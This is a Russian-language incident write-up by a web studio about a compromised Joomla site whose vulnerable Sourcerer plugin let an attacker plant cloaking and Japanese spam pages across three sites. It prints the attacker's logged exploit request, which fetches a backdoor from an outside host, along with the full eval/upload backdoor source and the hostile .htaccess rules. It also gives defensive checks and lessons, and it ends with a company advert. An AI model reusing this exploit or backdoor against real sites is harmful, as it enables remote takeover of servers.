Суббота, середина дня. Клиент вернулся из отпуска, открыл свой сайт, увидел вместо него белый экран и написал мне: «сайт лежит, в чём дело?»

Сайт мы делали сами и всего за несколько дней до этого развернули на новом хостинге. Перед переключением перепроверили всё, до чего дотянулись, так что я точно знал: сам по себе он лечь не мог.

Первая мысль была простая — кто‑то туда залез. Но как?

Открываю сайт: белый экран, всё так и есть. Иду в консоль.

curl -s -A "Mozilla/5.0" https://site.ru/ -o /tmp/b -w "%{http_code}\n"; wc -c < /tmp/b
# 200
# 0

Страница отвечает как живая, кодом 200, а внутри пусто — ноль байт. Хостинг работает, база на месте, диск свободен. Мониторинг зелёный, check‑host зелёный со всех узлов.

Меняю User‑Agent на робота Google:

curl -s -A "Googlebot/2.1 (+http://www.google.com/bot.html)" https://site.ru/ | wc -c
# 244085

244 килобайта. Японский интернет‑магазин игрушек и дронов, с <link rel="canonical"> на домен клиента.

Людям сайт показывал пустоту, а поисковику — чужой магазин.

Как так вышло

Чтобы было понятно, откуда на свежем сайте взялся японский магазин, надо рассказать про устройство хостинга у клиента.

Дело в том, что на одном хостинге стояло сразу три сайта.

Первый — основной сайт компании, тот, который мы только что создали и развернули на сервере.

Второй — отдельный старый сайт на ту же тематику, созданный на Joomla в 2018 году. Его мы собирались переделывать следующим: макет уже набросали и хотели показать заказчику, как только он вернётся из отпуска. Чуть‑чуть не успели.

Третий — самописный сайт 2015 года, который поднимается только на PHP 5.6.

Плюс две заглушки и архивная копия старой версии основного сайта.

Зашли через второй, через Joomla. А положили все три.

Что видел Googlebot

Один и тот же адрес отвечал по‑разному, в зависимости от того, кто спрашивает:

Кто спрашивает

Что получает

человек в браузере

200, тело 0 байт

Googlebot

200, 244 085 байт спама

YandexBot

200, 0 байт

Заголовок страницы, которую получал робот Google:

★バッテリー2本 スマホ必要無し ブラシレスモーター K200max 【公式通販】

Карта сайта к тому моменту тоже была чужая. Вместо нашей лежал sitemap.xml на 343 КБ с 1901 адресом вида /shops/florentine/v0i2r8i8d8i0s80857. Он собирался на лету, поэтому дата изменения у всех адресов стояла сегодняшняя. А robots.txt подменили на свой, 77 байт вместо наших 90.

Такая подмена называется клоакинг: сервер смотрит, кто к нему пришёл, и решает, что показать. Человеку — пустую страницу, роботу — магазин. Сверху навешаны дорвеи: чужие страницы под чужие поисковые запросы, которые живут на домене с возрастом и историей.

Внешние проверки на это не реагировали. Они смотрят на код ответа, а код всё это время не вызывал никаких подозрений.

Но как же они вошли

Логов доступа за нужные дни на площадке не оказалось, остались только логи ошибок. В них и нашлась первая запись атаки — обращение к тому самому старому сайту на Joomla, в примере он обозначен как site-b.ru:

Thu Aug 20 10:18:50 2026, client 193.29.139.169
referer: https://site-b.ru:443/index.php
  ?option=com_ajax&view=featured&format=feed
  &lol={source}<?=file_put_contents('0ffb9c2a3651.php',
       file_get_contents('https://<взломанный-сайт>/images/accesson.php'));?>{/source}

В той Joomla стоял плагин Sourcerer 7.1.4, март 2017 года. Он умеет выполнять PHP прямо из текста страницы, если код завёрнут в {source}...{/source}. А компонент com_ajax позволяет обратиться к плагину снаружи, без пароля и без входа в админку.

Получилось так: любой человек из интернета мог прислать сайту кусок кода, и сайт его выполнял.

Ядро Joomla, кстати, было 3.10.11, почти последнее в ветке. Само оно ни при чём: дыра сидела в плагине, который девять лет никто не трогал.

По этой ссылке на сервер и приехал бэкдор:

<?php echo 409723*20;
if(md5($_COOKIE["d"])=="17028f487cb2a84607646da3ad3878ec"){
  echo"ok";
  eval(base64_decode($_REQUEST["id"]));
  if($_POST["up"]=="up"){ @copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]); }
}?>

Пароль лежит в cookie. Строка с eval выполняет всё, что взломщик пришлёт в запросе, следующая строка принимает на сервер любой загруженный файл. А первая строка echo 409723*20 — это метка: сканер взломщика ходит по интернету и ищет страницы, которые отвечают числом 8194460, так он находит свои старые закладки.

Таких файлов нашлось пять, по одному в каждом каталоге сайта. Все одинаковые, md5 f8da1f02aa64e844770e447709cdf679.

Почему легли все три сайта

Все сайты аккаунта работали под одним системным пользователем, а open_basedir на площадке был пустой. Из‑за этого PHP, запущенный внутри одного сайта, свободно писал в папки соседних.

Хватило дыры в старой Joomla, чтобы получить запись во все каталоги аккаунта. Как известно, цепь настолько крепка, насколько крепко её самое слабое звено.

Что нашлось, когда сняли копию

Первым делом скачали информацию со всего аккаунта целиком: 13 029 каталогов, 65 079 файлов, 838 МБ. Скачали до любых правок, чтобы было с чем сверяться и куда откатиться. Рядом положили опись дерева — путь, размер, дата и права по каждому файлу.

Дальше всё пересчитали. Вот что получилось.

Что

Сколько

файлов изменено за дни атаки

9693

из них .htaccess

8958

из них .php

709

меток filefuns.php

635

копий бэкдора

5

Подложенных .htaccess было три вида: 8306 файлов по 127 байт, 649 файлов по 2045 байт и три файла по 226 байт.

Файлы по 127 байт лежали в каждой папке дерева и запрещали выполнять любые PHP‑скрипты. Файлы по 2045 байт разрешали только свой список — index.php взломщика и его служебные файлы, — а весь остальной трафик заворачивали туда же:

<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|php5|suspected)$'>
Deny from all
</FilesMatch>
<FilesMatch '^(index.php|wp-blog-header.php|wp-login.php|filefuns.php|...)$'>
Allow from all
</FilesMatch>
RewriteRule . index.php [L]

Восемь тысяч запретов на PHP по всему дереву взломщик поставил ради собственной безопасности. Так он закрывал захваченный сайт от других таких же: чужая закладка на таком сервере просто не запустится. Заодно перестал работать наш движок страниц и приём заявок — отсюда и белый экран.

Наш собственный .htaccess на 20 518 байт при этом стёрли начисто.

Метка filefuns.php весит 8 байт, внутри текст BiaoJiOk. На все подложенные файлы выставлены права 444, только чтение.

В корне второго сайта лежал index.php на 23 792 байта вместо штатных 1406. Код внутри намеренно запутан: выполнение прыгает по случайным меткам через goto, текстовые строки записаны в шестнадцатеричном виде, чтобы их нельзя было найти обычным поиском.

<?php
 goto CtMwqy8LlNykQn2; LckmSF5cEn7Izvj: vvG0e2B0ObMaUZF: goto TwvROCQd9XzF4Nv;
 ynVs4dRuSQBoG4h: function s3U8prZgPrd139q() { goto Yg6aiN9TTnqh7Pu;
 ... $_SERVER["\x48\x54\124\120\137\x58\137\x46\117\122\127\101\122\104\105\104\137\106\117\122"] ...

А в самом хвосте файла нашёлся целый оригинальный index.php от Joomla. Движок не подменили, его обернули своим кодом. Поэтому для человека второй сайт открывался как ни в чём не бывало, все 48 670 байт, и никто ничего не замечал.

Проверили просто: вырезали оригинальные 1406 байт, положили на место, сравнили ответ. До замены 48 670 байт, после замены те же 48 670.

Ещё пара находок, из‑за которых поиск по расширению файла бесполезен:

  • закладки с именами KimYMwUkujRVPcHypfeQ.png, Xbje.mp4, mwNsPX.swf, Gt.ogv, YF.mp3;

  • файл images/toggige-arrow.jpg в рабочей папке картинок, а внутри спам‑контент дорвейного движка в формате <md5>|{-.-!!!}|<данные>. Отдавался наружу кодом 200.

Как мы решили проблему

Здесь важен порядок действий. Сначала закрыть вход, и только потом удалять файлы захватчика. Если сделать наоборот, очень скоро всё вернётся в исходное состояние.

По шагам:

  • Отключили плагин Sourcerer — переименовали обе его папки.

  • Поставили заслон в .htaccess. Он режет запросы, в которых встречается {source}, обращение к com_ajax в связке с format=feed|raw и имена опасных функций.

  • Закрыли вход в админку вторым паролем на уровне веб‑сервера, файл с паролем вынесли за пределы папки сайта.

  • Обезвредили 13 точек входа: пять копий бэкдора, три файла‑шелла, чужой index.php в корне и подставные файлы wp-*.

  • Снесли подложенные .htaccess по строгому признаку — имя .htaccess, размер ровно 127, 2045 или 226 байт, дата изменения в дни атаки. Удалили 8921, не поддались 37.

  • Вернули из git наши собственные файлы: .htaccess на 20 518 байт, robots.txt и карты сайта.

Уязвимость перепроверяли тем же ключом, которым её открыли. Проверяли мы это следующим образом: отправили сайту тот же запрос, что и взломщик, только вместо загрузки закладки просили сделать расчёт — 99 умножить на 11.

Когда

Что в ответе

до отключения плагина

в теле лежит 1089

после отключения

код не выполняется

после заслона

403

Пока запрос проходит, уязвимость открыта. Закрытой мы считаем её только тогда, когда этот же запрос перестал срабатывать.

Потом обошли сайт целиком, все 592 адреса: везде код 200, ни одной страницы короче 5 КБ, японских заголовков нет. Главная отдаёт 146 097 байт и человеку, и роботу Google — одинаково.

Только после этого я сделал пометку, что мы всё починили, следы атаки удалили и сайт теперь чистый.

Сейчас расскажу о трёх моментах, где у нас возникли сложности

Первый. Мы приняли отказ в доступе за отсутствие файла.

FTP на запрос папки assets/ ответил Server denied you to change to the given directory. Я записал: папки нет, следы за собой подчистили. На деле папка была, просто вход в неё закрывал подложенный .htaccess. Внутри лежал бэкдор — и так в каждом из пяти сайтов.

Второй. Искали закладки по расширению файла.

А они лежали под именами картинок, видео и флеш‑роликов. Расширение показывает только то, как файл назвали, а смотреть нужно внутрь файла, на его содержимое.

Третий. Проверяли главную страницу, а не сам файл index.php.

Чужой index.php в корне мы переименовали. Через минуту он вернулся под прежним именем: закладка вписалась обратно.

Проверка этого не показала, потому что запрашивала главную страницу сайта, а на главной отдаётся обычный index.html, чистый. Но если обратиться к адресу /index.php напрямую, запрос попадал в закладку взломщика. И Googlebot получал спам ещё больше десяти часов после того, как мы подумали, что всё закончено.

Логи тоже были прочитаны неверно. Записи вредного кода шли до 16:47, потом наступила тишина, и мы решили, что атака кончилась. На самом деле в этот момент код переписал себя обратно и перестал показывать себя. В лог ошибок попадают только ошибки, а здесь ошибок больше не было, поэтому он и остался пустым.

Помогли две независимые проверки, которые я запустил параллельно: одну через Codex от OpenAI, вторую — новой сессией Claude Code с нуля, без доступа к моим выводам и отчёту. Обе в отчёте указали одно и то же: уборка неполная, вредоносный код живой, а на втором сайте в папке картинок работают два файловых менеджера.

Мы дочистили остатки — 143 файла и 30 каталогов — и попутно закрыли то, что всплыло:

  • строка Require all granted в .htaccess обоих сайтов открывала вход в админку вообще без пароля, стало 401;

  • com_ajax закрыт целиком, при любом порядке параметров;

  • в восьми папках, куда сайт складывает загруженные файлы, запрещено выполнение PHP;

  • из открытой части сайта убраны копии configuration.php и файл с phpinfo();

  • сменён $secret Joomla, права на configuration.php стали 600.

Через 13 часов проверили ещё раз, уже спокойно: 542 автоматические пробы без единой тревоги и обход всего дерева на 74 495 объектов. Чисто.

Записали себе правило: перепроверять чистыми сессиями и разными моделями.

Что с базой и с поиском

Базу смотрели скриптом с правами только на чтение. Панель хостинга к тому времени перестала принимать верный пароль, хотя FTP с этим же паролем работал. Пришлось положить скрипт в папку сайта, вызвать его по секретной ссылке и сразу удалить. На старом сайте он не запустился вообще (там PHP 5.6, язык слишком старый).

Проверка

Результат

Sourcerer в #__extensions

enabled = 0

модули с eval / base64 / iframe

нет

статьи, изменённые в дни атаки

нет

посторонние таблицы и триггеры

нет

входы в админку (сессии с userid > 0)

0

заявки клиентов в таблице лидов

целы

В базу взломщик не полез. Ему нужны были только файлы, чтобы подменить страницы, которые видит поисковик.

Пара слов про поисковики. В Яндексе спама не оказалось вообще: YandexBot получал те самые 200 с пустым телом, а пустые страницы в индекс не берут. Весь спам ушёл в Google, японские страницы показывали именно ему. Убирают такое только через Search Console.

Что мы сделали, чтобы это не повторилось

Поставили внешнюю проверку каждые пять минут, с отбивкой в Telegram. Она смотрит четыре вещи:

  • код ответа;

  • размер страницы — не меньше порога, для боевого сайта это 100 000 байт;

  • есть ли <title> и нужное слово в нём;

  • одинаково ли сайт отвечает роботу и человеку — расхождение больше 20% считается клоакингом.

claudelab.ru — наша компания. Делаем под ключ:

  • сайты и лендинги, а к ним чат‑ботов;

  • CRM и ERP под процессы компании;

  • заказную разработку: боты, ИИ‑агенты, приложения;

  • запуск стартапов — от идеи до готового продукта, вместе с монетизацией и маркетингом;

  • автоматизацию и интеграции: телеграм‑боты, n8n, связки с CRM;

  • перенос сайтов между хостингами, аудит безопасности

Рабочий прототип показываем до подписания договора: заказчик видит решение, а не описание.

Теперь пять способов проверить свой сайт

1. Посмотреть, одинаково ли сайт отвечает человеку и поисковому роботу.

for ua in "Mozilla/5.0" "Googlebot/2.1 (+http://www.google.com/bot.html)"; do
  echo "$ua -> $(curl -s -A "$ua" https://site.ru/ | wc -c) байт"
done

Размеры должны совпадать.

2. Вызвать index.php напрямую, а не только главную страницу.

curl -s -A "Googlebot/2.1" https://site.ru/index.php | head -c 300

3. Посмотреть, какие .htaccess менялись в последнее время.

find . -name .htaccess -newermt "2026-08-01" -printf "%s\t%p\n" | sort -n

Если один и тот же размер повторяется сотни раз — налицо чужое вмешательство в сайт.

4. Проверить, нет ли PHP‑кода в картинках и видео.

grep -rl --include="*.png" --include="*.jpg" --include="*.mp4" --include="*.ico" "<?php" .

5. Проверить com_ajax, если у вас старая Joomla.

curl -s -o /dev/null -w "%{http_code}\n" \
  "https://site.ru/index.php?option=com_ajax&view=featured&format=feed"

Если отвечает 200, значит вход открыт и через него уже могли зайти. Особенно когда на сайте стоит что‑нибудь от Regular Labs — Sourcerer, Modules Anywhere, Advanced Modules.

Какие уроки мы извлекли из этой истории

  • Код 200 ничего не гарантирует. Смотреть надо на саму страницу: сколько она весит и что на ней написано.

  • «Доступ запрещён» и «файла нет» — это разные ответы, и путать их дорого.

  • Пока не закрыт вход, любая уборка бессмысленна.

  • Свою работу проверяет кто‑то другой. У нас это соседняя сессия и другая модель.

Если у вас на аккаунте стоит старый сайт, до которого не доходят руки, потратьте пять минут и прогоните по нему хотя бы первые два способа. Наш взломщик успел всё сделать за сутки с небольшим.

Как я разбираю такие истории через Claude Code — пишу в канале t.me/ai_smart_usage.

Комментарии (0)